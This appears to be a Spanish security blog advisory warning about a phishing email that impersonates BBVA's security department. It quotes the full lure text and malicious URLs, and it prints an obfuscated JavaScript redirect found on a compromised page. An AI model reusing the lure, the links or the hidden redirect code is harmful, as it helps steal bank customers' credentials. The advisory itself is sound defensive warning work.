NUEVO MAIL CON SPOOFING DEL BBVA CON UN ENLACE A PAGINA DE CAPTURA DE DATOS
Se está recibiendo un mail masivo malicioso que presenta un enlace a pagina de captura de datos
TEXTO DEL MAIL:
_______________
Asunto: Departamento de Seguridad del Banco BBVA.
De: “Banco BBVA.” <Info@ServiceAlClaine.com>
Fecha: 01/04/2019 19:47
Para: “DESTINATARIO”
– Departamento de Seguridad del Banco BBVA.
Querido usuario ,
Siempre mantenemos su seguridad al verificar su ultimo inicio de sesion.
Por favor no cerró su ultima sesión.
Necesitamos confirmar si usted es el titular original de la cuenta.
Se enviara un mensaje SMS a su movil. Tenga en cuenta que todas sus operaciones se realizarán hasta que verifique su cuenta.
Acceder a mi Area de Clientes. —> Enlace malicioso a pagina de captura de datos: http://www. 3ytechnology.ae/wp-admin/includes/-/updat/_privatek/_privatet/index9.html
Ahorra-BBVA.Departamento de Seguridad del Banco BBVA.
_____________-
Al pulsar dicho enlace, McAfee ya intercepta el acceso:
*************
Este sitio web está bloqueado.
https:// rrhhiecg.org/css/cliente/
El contenido de este sitio web infringe la directiva de uso aceptable.
Categoría web de McAfee: Sitios maliciosos
Calificación de seguridad de McAfee: Rojo
Powered By: McAfee Endpoint Security
McAfee Logo
***********^*
De lo contrario se accedería a pagina Phishing con esta presentación:
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toria1.jpg?w=419&h=296&ssl=1″ width=”419″ height=”295″ /></p>
<p>Email: info@ rrhhiecg.org</p>
<p>Granada – España</p>
<p>*********</p>
<p>Aparentemente es un acceso a página de Recursos Humanos, pero ofrecen un e-mail a info@ rrhhiecg.org que NO DEBE PULSARSE, ya que su acceso informa:</p>
<p>*********</p>
<p><span style=)
Conformar:
Está a punto de iniciar sesión en el sitio “rrhhiecg.org” con el nombre de usuario “info”, pero el sitio web no requiere identificación. Esto puede ser un intento de engañarle.
¿Es “rrhhiecg.org” el sitio que quiere visitar?
info@rrhhiecg.org
Si ……. No
**********
Por supuesto que se debe contestar que NO, pero todo ello resulta mucho mas sencillo si se hace caso a lo que tantas veces repetimos:
NO DEBEN EJECUTARSE ARCHIVOS NI ENLACES NI PULSAR EN IMAGENES DE MAILS RECIBIDOS SIN HABER SIDO SOLICITADOS …
Tal como avisamos en el artículo al respecto:
blog.satinfo.es/2018/aviso-importante-sobre-mails-no-solicitados/
Esperando que lo indicado les sea de utilidad, reciban saludos
ms, 2-4-2019
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.